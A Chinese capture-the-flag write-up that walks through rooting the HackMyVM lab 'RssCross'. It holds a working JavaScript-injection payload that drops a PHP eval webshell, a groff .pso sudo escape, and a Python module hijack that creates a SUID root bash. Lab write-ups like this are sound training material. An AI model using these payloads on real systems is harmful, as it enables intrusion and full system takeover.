HackMyVM - RssCross 靶机渗透记录

RssCross 靶机渗透记录

一、信息收集

1. 端口扫描

sudo rustscan -a 192.168.56.102 --ulimit 5000 -- -sV -O

结果比较干净,只开了两个端口:

  • 22/tcp:OpenSSH 8.4p1 Debian 5+deb11u3
  • 80/tcp:Apache httpd 2.4.65

所以入口基本可以确定就是 80 端口的 Web 服务。

2. 初始目录扫描

[16:23:51] 200 -    0B  - /html.php
[16:24:17] 301 - 316B - /admin -> http://192.168.56.102/admin/
[16:24:18] 302 - 0B - /admin/ -> article.manage.php
[16:24:19] 302 - 0B - /admin/index.php -> article.manage.php
[16:24:52] 200 - 7B - /config.php

访问后发现两个点比较显眼:

  • /config.php 只回显一个 hacker!
  • /admin 可以直接进后台

说明后台没有做登录保护,后面很多操作都能直接在后台完成。

二、继续枚举,发现源码泄漏

在做了很多尝试后都没发现可以利用的点,于是继续把字典换成大一点的,再扫一遍:

python3 /Users/xufengzhi/miniconda3/bin/dirsearch -u http://192.168.56.102 -w /Users/xufengzhi/miniconda3/lib/python3.12/site-packages/dirsearch/db/dicc.txt -e php,zip,bak,old,sql,txt,tar,gz -f -t 30 -r -R 2 --exclude-response /nope404 --quiet -i 200,204,301,302,307,401,403

[16:54:14] 301 - 316B - http://192.168.56.102/admin -> http://192.168.56.102/admin/
[16:54:14] 302 - 0B - http://192.168.56.102/admin/ -> article.manage.php
[16:54:16] 302 - 0B - http://192.168.56.102/admin/index.php -> article.manage.php
[16:54:32] 200 - 6MB - http://192.168.56.102/app.tar
[16:54:44] 200 - 7B - http://192.168.56.102/config.php
[16:54:45] 200 - 0B - http://192.168.56.102/connect.php
[16:55:02] 200 - 0B - http://192.168.56.102/html.php
[16:55:03] 403 - 279B - http://192.168.56.102/icons/
[16:55:05] 200 - 1009B - http://192.168.56.102/index.php
[16:55:05] 200 - 1009B - http://192.168.56.102/index.php/login/

(在做到后面进行更深的查找的时候,发现以前写的文章里提到了存在备份文件)

这里最重要的是:

/app.tar

直接把源码包下下来,后面就不用再黑盒猜了,直接看代码。

三、审计源码,定位利用链

解压 app.tar 后,目录结构很简单:

  • /var/www/html:PHP 前端
  • /app/app.js:Node 后端

1. 数据库配置直接泄漏

connect.php 里直接写死了数据库账号密码:

<?php
$host = 'localhost';
$user = 'ctf';
$pass = '98vwqld912!@823c@#';
$dbname = 'article';

$conn = mysqli_connect($host, $user, $pass, $dbname);

但是此处用不了,无法直接连接到靶机的数据库

2. 后台文章修改接口没有鉴权

admin/article.modify.handle.php

<?php
include_once('../connect.php');
include_once('../html.php');
$_POST = html($_POST);
$id = $_POST['id'];
$title = $_POST['title'];
$author = $_POST['author'];
$description = $_POST['description'];
$content = $_POST['content'];
$dateline = time();

if(strlen($title) > 10 || strlen($author) > 10){
die("<script>window.location.href='article.manage.php';window.alert('The title or author is too long')</script>");
}

if(mysqli_query($conn, "update article set title ='$title',author='$author',description='$description',content='$content',dateline='$dateline' where id='$id'")){
echo "<script>window.location.href='article.manage.php';window.alert('修改文章成功')</script>";
}else{
echo mysqli_error($conn);
}
?>

这里能看出三件事:

  • 后台接口没有登录校验;
  • 可以直接改文章内容;
  • titleauthor 被限制成 10 个字符以内,但 content 没限制。

这个 content 没限制,后面会成为主要利用点。

3. 文章详情页会原样输出 content

article.show.php 里:

<li><?php echo $data['content']?></li>

也就是说,文章内容不是 htmlspecialchars 后再输出,而是原样回显。

这意味着只要能改文章内容,就能把任意文本插进页面里。

4. Rssinfo 返回的不是 JSON,而是一段 JS

Rssinfo/index.php

<?php
include_once("../connect.php");
$id = htmlspecialchars(end(explode("/",$_SERVER['PHP_SELF'])),ENT_QUOTES);
$data = mysqli_query($conn, "select title,author,content,dateline from article where id='$id'");
$data = mysqli_fetch_assoc($data);
?>
<script>var passage = {"author":"<?php echo $data['author'];?>","title":"<?php echo $data['title']?>"};</script>

它的响应格式是:

var passage = {"author":"...","title":"..."};

到这里其实已经有点不对劲了,因为后端如果只是想取数据,正常应该返回 JSON,不应该返回一段 JS 变量声明。

5. 核心漏洞在 Node 的 Function(...)

app.js

const express = require('express');
const RSS = require('rss');
const request = require('request');
const app = express();

app.get("/api/:id",function(req, res, next) {
var link = `http://localhost/Rssinfo/index.php/${req.params.id}`;
var options = {
'method': 'GET',
'url': link,
'headers': {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36",
}
};
request(options, function (error, response, body) {
if (error) throw new Error(error);
try {
const data = Function(
body.match(/var passage = \{.*};/gm)[0]
+ 'let json_data=JSON.parse(JSON.stringify(passage));'
+ 'return json_data;'
)();
var feed = new RSS(data);
var xml = feed.xml();
res.contentType('application/xml');
res.send(xml)
}catch (e) {
console.log(e);
res.send('error');
}
})
})
app.listen(3000);

这里就是整个靶机的关键。

它的逻辑是:

  1. 请求 http://localhost/Rssinfo/index.php/${req.params.id}
  2. 从响应里正则匹配 var passage = {...};
  3. 直接丢进 Function(...) 执行

也就是说,只要我能控制这段 var passage = {...}; 的内容,我就能在 Node 里执行任意 JavaScript。

6. GetRss 是外部入口

GetRss/index.php

<?php
$pathParts = explode("/",$_SERVER['PHP_SELF']);
$id = htmlspecialchars(end($pathParts),ENT_QUOTES);
header("Content-type:application/xml;");

echo getrss("http://localhost:3000/api/".$id);

因此从外部是这样一条链:

/GetRss/index.php/<payload>

http://localhost:3000/api/<payload>

http://localhost/Rssinfo/index.php/<payload>

到这里基本就能想到后面的利用方式了:
如果能把 Node 最终请求的目标从 Rssinfo 换成别的页面,而那个页面里恰好又能出现一段我们可控的 var passage = {...};,那就能直接打成 RCE。

四、验证思路:让 Node 去解析 article.show.php

前面已经知道:

  • 我们可以未授权改文章内容;
  • article.show.php 会原样输出 content
  • Node 会执行它抓到的 var passage = {...};

因此思路变成:

  1. 改一篇文章,把 content 改成一段假的 var passage = {...};
  2. 想办法让 Node 不抓 Rssinfo/index.php/<id>,而去抓 article.show.php?id=<id>

这里最后用的是 双重 URL 编码路径穿越

先添加一个符合要求的测试文章,content变为:

var passage = {author:`tlgjm`,title:`tlgjm`};

在首页看到新添加的文章的id是26

然后访问:

http://192.168.56.102/GetRss/index.php/..%252F..%252Farticle.show.php%253Fid%253D26

返回结果里能看到:

<title><![CDATA[tlgjm]]></title>
<author><![CDATA[tlgjm]]></author>

这一步说明三件事都成立了:

  • 双重编码路径穿越成功;
  • Node 实际抓到了 article.show.php?id=21
  • Function(...) 确实执行了我们写进文章内容里的 var passage = {...};

证明整个利用链是成立的

五、正式利用:写入 PHP webshell

既然已经能在 Node 里执行 JavaScript,那就不用再绕别的,直接写文件。

这里的目标是往 Web 根目录写一个最小 PHP webshell:

<?php eval($_POST['tlgjm']);?>

为了避免引号和转义问题,直接用 String.fromCharCode(...) 生成 PHP 内容。

写进文章 content 的 payload 如下:

var passage = {author:(process.mainModule.require(`fs`).writeFileSync(`/var/www/html/shell.php`,String.fromCharCode(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,39,116,108,103,106,109,39,93,41,59,63,62)),`done`),title:`tlgjm`};

body.match(/var passage = \{.*};/gm)[0]里的.默认不匹配换行,所以要写成一行代码,不能有换行,不然会匹配失败的

其中一句话木马可以这样生成:

var code = "<?php eval($_POST['tlgjm']);?>"; 
var charCodes = [];
for (var i = 0; i < code.length; i++) {
charCodes.push(code.charCodeAt(i));
}
console.log(charCodes.join(', '));

然后还是访问对应id的触发地址http://192.168.56.102/GetRss/index.php/..%252F..%252Farticle.show.php%253Fid%253D28

验证存在:

到这里,已经成功拿到了 www-data 权限的 Web shell。

这里能直接读到user的flag

六、提升权限

1. 从数据库里拿到下一步的密码提示

前面已经拿到了 www-data 的 Web shell,这里先看一下本机监听的服务:

ss -alnp

可以看到靶机本地有 MySQL 服务,而且在前面审计源码的时候,connect.php 里也已经泄漏了数据库相关信息。

这里实际测试后发现:

  • ctf 用户没法直接这样连进去;
  • 但是数据库 root 用户可以无密码登录

于是先看看数据库:

继续查看 flag 库里的内容:

mysql -u root -e "SHOW TABLES FROM flag"
mysql -u root -e "SHOW COLUMNS FROM flag.echo"
mysql -u root -e "SELECT * FROM flag.echo"

这里拿到了一串很显眼的值:

07e2a8ac8bd28bc3a0ffc4fab3145b5b

一眼 md5,但是直接按常规方式爆破一直没出结果,同时翻了很多www-data可找的信息,发现都没用,就去问了提示,之后才意识到,这里考的是:

echo 默认会追加换行,echo -n 不会追加换行

也就是说,如果某个哈希是这样生成的:

echo password | md5sum

那真正参与计算的是:

password\n

而不是不带换行的 password

这里重新改了一下脚本逻辑,按“带换行”的方式去爆 md5,最终成功命中,拿到原始字符串:

zombie666

然后直接尝试 SSH 登录 zb

ssh zb@192.168.56.102

密码输入:

zombie666

成功拿到 zb 的 shell。

2. 枚举 zb 权限,发现两条关键线索

先看之前就已经翻到的异常权限文件:

find / -xdev -group zb -ls 2>/dev/null

返回:

-rw-rw-r--   1 root zb ... /usr/local/lib/python3.9/dist-packages/smassh/src/plugins/add_language.py

这说明:

  • 文件属主是 root
  • 属组是 zb
  • zb 组对这个文件有写权限

然后再看zbsudo权限:

sudo -l

结果很关键:

User zb may run the following commands on RssCross:
(mob) NOPASSWD: /usr/bin/groff

到这里其实就有一条很明确的思路了:

  1. 先想办法从 zbgroff 切到 mob
  2. 再看看 mob 有没有更高权限
  3. 最后再回过头利用那个 root:zb 可写的 add_language.py

3. 利用 groff 从 zb 切到 mob

groff 在开启 -U 后,可以使用 .pso / .sy 之类的请求执行系统命令。

这里先简单验证一下是否真的能以 mob 身份执行命令:

printf '.pso id > /tmp/groff_pso\n' | sudo -u mob /usr/bin/groff -U -Tascii - >/dev/null 2>&1
cat /tmp/groff_pso

返回:

uid=1001(mob) gid=1001(mob) groups=1001(mob)

说明这一步已经成立了,zb -> mob 可以直接走。

接着就该看看 mob 能不能再往上提权。这里为了方便,把要执行的内容写成一个脚本,然后再让 groff 代执行:

cat >/tmp/mob_enum.sh <<'EOF'
#!/bin/bash
sudo -l
EOF
chmod +x /tmp/mob_enum.sh

printf '.pso /bin/bash /tmp/mob_enum.sh > /tmp/mob_enum.out 2>&1\n' | sudo -u mob /usr/bin/groff -U -Tascii - >/dev/null 2>&1
cat /tmp/mob_enum.out

结果又给了一条更明显的链:

User mob may run the following commands on RssCross:
(ALL) NOPASSWD: /usr/local/bin/smassh

也就是说,现在完整链已经变成了:

zb --sudo groff--> mob --sudo smassh--> root

4. 借 smassh 导入链劫持 add_language.py,拿到 root

先看一下 smassh 的入口逻辑:

/usr/local/lib/python3.9/dist-packages/smassh/__main__.py

@main.command(help="Add a language to smassh")
@click.argument("name")
def add(name: str) -> None:
from smassh.src.plugins.add_language import AddLanguage

AddLanguage().add(name)

这里非常关键。

也就是说,只要执行:

smassh add <something>

程序就会先 import

smassh.src.plugins.add_language

而这个 add_language.py 恰好又是前面发现的那个/usr/local/lib/python3.9/dist-packages/smassh/src/plugins/add_language.py

所以这里的思路就很直接了:

  1. zb 先改写 add_language.py
  2. mobsudo /usr/local/bin/smassh add english
  3. 由于 smassh 是以 root 身份运行,import add_language.py 时,顶层恶意代码就会被 root 执行

写入 payload

这里我直接在模块顶部插一段顶层代码,生成一个 SUID 的 /tmp/rootbash

python3 - <<'PY'
from pathlib import Path

p = Path('/usr/local/lib/python3.9/dist-packages/smassh/src/plugins/add_language.py')
orig = p.read_text()
payload = 'import os\nos.system("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash && id > /tmp/root_smassh_proof")\n'
p.write_text(payload + orig)
PY

然后触发执行。由于 zb 本身不能直接跑 smassh,所以还是借 groffmob 去跑:

printf '.pso sudo /usr/local/bin/smassh add english\n' | sudo -u mob /usr/bin/groff -U -Tascii - >/dev/null 2>&1

这里即使后面联网下载语言包失败也没关系,因为我们的 payload 是写在模块顶层的,import add_language.py 的时候就已经执行了

执行后验证一下:

ls -l /tmp/rootbash /tmp/root_smassh_proof
cat /tmp/root_smassh_proof

接着直接拿 root shell:

/tmp/rootbash -p

七、总结

这台靶机整体的利用链条还是比较顺的,完整路径如下:

未授权后台 -> 源码泄漏 -> Node Function(...) 执行任意 JS -> 写入 PHP WebShell -> 数据库 root 无密码 -> 爆出 zb 密码 -> zb 借 groff 切到 mob -> mob sudo smassh -> 劫持 add_language.py -> root